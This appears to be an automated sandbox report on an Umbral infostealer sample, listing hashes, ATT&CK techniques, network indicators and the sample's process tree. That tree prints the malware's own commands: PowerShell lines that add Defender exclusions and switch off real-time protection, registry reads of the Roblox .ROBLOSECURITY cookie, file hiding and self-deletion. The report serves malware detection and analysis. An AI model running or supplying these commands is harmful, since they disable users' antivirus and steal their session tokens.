umbral | ea4cb7c7b4cfb2fcc04d1c3f96b20c26638e69a97b15cae14659f0d6afb78f85

Analysis

max time kernel
93s
max time network
135s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-11-2024 03:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b5uEJHZB6Rl.exe
Size

231KB
MD5

438289fb9c72ed39bf5497f9af21ec7a
SHA1

8120391ecb41ed6a4c6ef0b259776e59311d6997
SHA256

ea4cb7c7b4cfb2fcc04d1c3f96b20c26638e69a97b15cae14659f0d6afb78f85
SHA512

3647907fa2d503a242ef07cb20b081444b75e0c618a91232c8e77903b4b6aa823b8a7cbe07a45e02591fe48fdd23b5eae88565006b85863c0a5f6e42d7589fe0
SSDEEP

6144:YloZM+rIkd8g+EtXHkv/iD4Bs4DdLocD/abtIEx6tb8e1mTiu:GoZtL+EP8Bs4DdLocD/abtIExq1

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/932-1-0x000001B4D2E30000-0x000001B4D2E70000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1792	powershell.exe
2284	powershell.exe
4592	powershell.exe
3884	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	b5uEJHZB6Rl.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2640	cmd.exe
3536	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4368	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3536	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
932	b5uEJHZB6Rl.exe
1792	powershell.exe
1792	powershell.exe
2284	powershell.exe
2284	powershell.exe
4592	powershell.exe
4592	powershell.exe
5084	powershell.exe
5084	powershell.exe
3884	powershell.exe
3884	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	932	b5uEJHZB6Rl.exe
Token: SeIncreaseQuotaPrivilege	4700	wmic.exe
Token: SeSecurityPrivilege	4700	wmic.exe
Token: SeTakeOwnershipPrivilege	4700	wmic.exe
Token: SeLoadDriverPrivilege	4700	wmic.exe
Token: SeSystemProfilePrivilege	4700	wmic.exe
Token: SeSystemtimePrivilege	4700	wmic.exe
Token: SeProfSingleProcessPrivilege	4700	wmic.exe
Token: SeIncBasePriorityPrivilege	4700	wmic.exe
Token: SeCreatePagefilePrivilege	4700	wmic.exe
Token: SeBackupPrivilege	4700	wmic.exe
Token: SeRestorePrivilege	4700	wmic.exe
Token: SeShutdownPrivilege	4700	wmic.exe
Token: SeDebugPrivilege	4700	wmic.exe
Token: SeSystemEnvironmentPrivilege	4700	wmic.exe
Token: SeRemoteShutdownPrivilege	4700	wmic.exe
Token: SeUndockPrivilege	4700	wmic.exe
Token: SeManageVolumePrivilege	4700	wmic.exe
Token: 33	4700	wmic.exe
Token: 34	4700	wmic.exe
Token: 35	4700	wmic.exe
Token: 36	4700	wmic.exe
Token: SeIncreaseQuotaPrivilege	4700	wmic.exe
Token: SeSecurityPrivilege	4700	wmic.exe
Token: SeTakeOwnershipPrivilege	4700	wmic.exe
Token: SeLoadDriverPrivilege	4700	wmic.exe
Token: SeSystemProfilePrivilege	4700	wmic.exe
Token: SeSystemtimePrivilege	4700	wmic.exe
Token: SeProfSingleProcessPrivilege	4700	wmic.exe
Token: SeIncBasePriorityPrivilege	4700	wmic.exe
Token: SeCreatePagefilePrivilege	4700	wmic.exe
Token: SeBackupPrivilege	4700	wmic.exe
Token: SeRestorePrivilege	4700	wmic.exe
Token: SeShutdownPrivilege	4700	wmic.exe
Token: SeDebugPrivilege	4700	wmic.exe
Token: SeSystemEnvironmentPrivilege	4700	wmic.exe
Token: SeRemoteShutdownPrivilege	4700	wmic.exe
Token: SeUndockPrivilege	4700	wmic.exe
Token: SeManageVolumePrivilege	4700	wmic.exe
Token: 33	4700	wmic.exe
Token: 34	4700	wmic.exe
Token: 35	4700	wmic.exe
Token: 36	4700	wmic.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeIncreaseQuotaPrivilege	2560	wmic.exe
Token: SeSecurityPrivilege	2560	wmic.exe
Token: SeTakeOwnershipPrivilege	2560	wmic.exe
Token: SeLoadDriverPrivilege	2560	wmic.exe
Token: SeSystemProfilePrivilege	2560	wmic.exe
Token: SeSystemtimePrivilege	2560	wmic.exe
Token: SeProfSingleProcessPrivilege	2560	wmic.exe
Token: SeIncBasePriorityPrivilege	2560	wmic.exe
Token: SeCreatePagefilePrivilege	2560	wmic.exe
Token: SeBackupPrivilege	2560	wmic.exe
Token: SeRestorePrivilege	2560	wmic.exe
Token: SeShutdownPrivilege	2560	wmic.exe
Token: SeDebugPrivilege	2560	wmic.exe
Token: SeSystemEnvironmentPrivilege	2560	wmic.exe
Token: SeRemoteShutdownPrivilege	2560	wmic.exe
Token: SeUndockPrivilege	2560	wmic.exe
Token: SeManageVolumePrivilege	2560	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 932 wrote to memory of 4700	932	b5uEJHZB6Rl.exe	83
PID 932 wrote to memory of 4700	932	b5uEJHZB6Rl.exe	83
PID 932 wrote to memory of 1084	932	b5uEJHZB6Rl.exe	89
PID 932 wrote to memory of 1084	932	b5uEJHZB6Rl.exe	89
PID 932 wrote to memory of 1792	932	b5uEJHZB6Rl.exe	91
PID 932 wrote to memory of 1792	932	b5uEJHZB6Rl.exe	91
PID 932 wrote to memory of 2284	932	b5uEJHZB6Rl.exe	93
PID 932 wrote to memory of 2284	932	b5uEJHZB6Rl.exe	93
PID 932 wrote to memory of 4592	932	b5uEJHZB6Rl.exe	95
PID 932 wrote to memory of 4592	932	b5uEJHZB6Rl.exe	95
PID 932 wrote to memory of 5084	932	b5uEJHZB6Rl.exe	97
PID 932 wrote to memory of 5084	932	b5uEJHZB6Rl.exe	97
PID 932 wrote to memory of 2560	932	b5uEJHZB6Rl.exe	102
PID 932 wrote to memory of 2560	932	b5uEJHZB6Rl.exe	102
PID 932 wrote to memory of 4620	932	b5uEJHZB6Rl.exe	104
PID 932 wrote to memory of 4620	932	b5uEJHZB6Rl.exe	104
PID 932 wrote to memory of 1496	932	b5uEJHZB6Rl.exe	106
PID 932 wrote to memory of 1496	932	b5uEJHZB6Rl.exe	106
PID 932 wrote to memory of 3884	932	b5uEJHZB6Rl.exe	108
PID 932 wrote to memory of 3884	932	b5uEJHZB6Rl.exe	108
PID 932 wrote to memory of 4368	932	b5uEJHZB6Rl.exe	110
PID 932 wrote to memory of 4368	932	b5uEJHZB6Rl.exe	110
PID 932 wrote to memory of 2640	932	b5uEJHZB6Rl.exe	112
PID 932 wrote to memory of 2640	932	b5uEJHZB6Rl.exe	112
PID 2640 wrote to memory of 3536	2640	cmd.exe	115
PID 2640 wrote to memory of 3536	2640	cmd.exe	115

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1084	attrib.exe

C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe
"C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:932
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4700
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe"
  2⤵
  - Views/modifies file attributes
  PID:1084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5084
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2560
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4620
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3884
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4368
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\b5uEJHZB6Rl.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
2af06a6b36db9473e4a7d9c7ab72b70b

SHA1
8ef34b9b961e51bdd1b8d7d9db2ec1b0a4764645

SHA256
18a2aa7e245c6732f95fb7749b2b4d29007f2c56a9c5bfbc5e3c127bdfe5f158

SHA512
3495567a5d5af94ae27be51313d9e2630c52017d808042fe0d56baa34fa1d246eb15c253d14c77c77a1d8f2f1c81680e623044ae95415b095696e7fa141ac7cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
45ad40f012b09e141955482368549640

SHA1
3f9cd15875c1e397c3b2b5592805577ae88a96cb

SHA256
ea3b59172f1a33677f9cb3843fb4d6093b806d3a7cf2f3c6d4692f5421f656ce

SHA512
3de08f8affca1c1450088f560776cf3d65146cadac43c06eb922c7b3cea436e519966cf38458303ffeb1a58c53f8952cffda6c34216fda7594e014b516e83b33

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lubxyjcu.hen.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/932-72-0x000001B4ED520000-0x000001B4ED52A000-memory.dmp

Filesize
40KB

Download
memory/932-35-0x000001B4D3310000-0x000001B4D332E000-memory.dmp

Filesize
120KB

Download
memory/932-93-0x00007FFB33810000-0x00007FFB342D1000-memory.dmp

Filesize
10.8MB

Download
memory/932-73-0x000001B4ED550000-0x000001B4ED562000-memory.dmp

Filesize
72KB

Download
memory/932-2-0x00007FFB33810000-0x00007FFB342D1000-memory.dmp

Filesize
10.8MB

Download
memory/932-33-0x000001B4ED5A0000-0x000001B4ED616000-memory.dmp

Filesize
472KB

Download
memory/932-34-0x000001B4ED620000-0x000001B4ED670000-memory.dmp

Filesize
320KB

Download
memory/932-0-0x00007FFB33813000-0x00007FFB33815000-memory.dmp

Filesize
8KB

Download
memory/932-1-0x000001B4D2E30000-0x000001B4D2E70000-memory.dmp

Filesize
256KB

Download
memory/1792-15-0x00007FFB33810000-0x00007FFB342D1000-memory.dmp

Filesize
10.8MB

Download
memory/1792-4-0x0000020246ED0000-0x0000020246EF2000-memory.dmp

Filesize
136KB

Download
memory/1792-3-0x00007FFB33810000-0x00007FFB342D1000-memory.dmp

Filesize
10.8MB

Download
memory/1792-10-0x00007FFB33810000-0x00007FFB342D1000-memory.dmp

Filesize
10.8MB

Download
memory/1792-18-0x00007FFB33810000-0x00007FFB342D1000-memory.dmp

Filesize
10.8MB

Download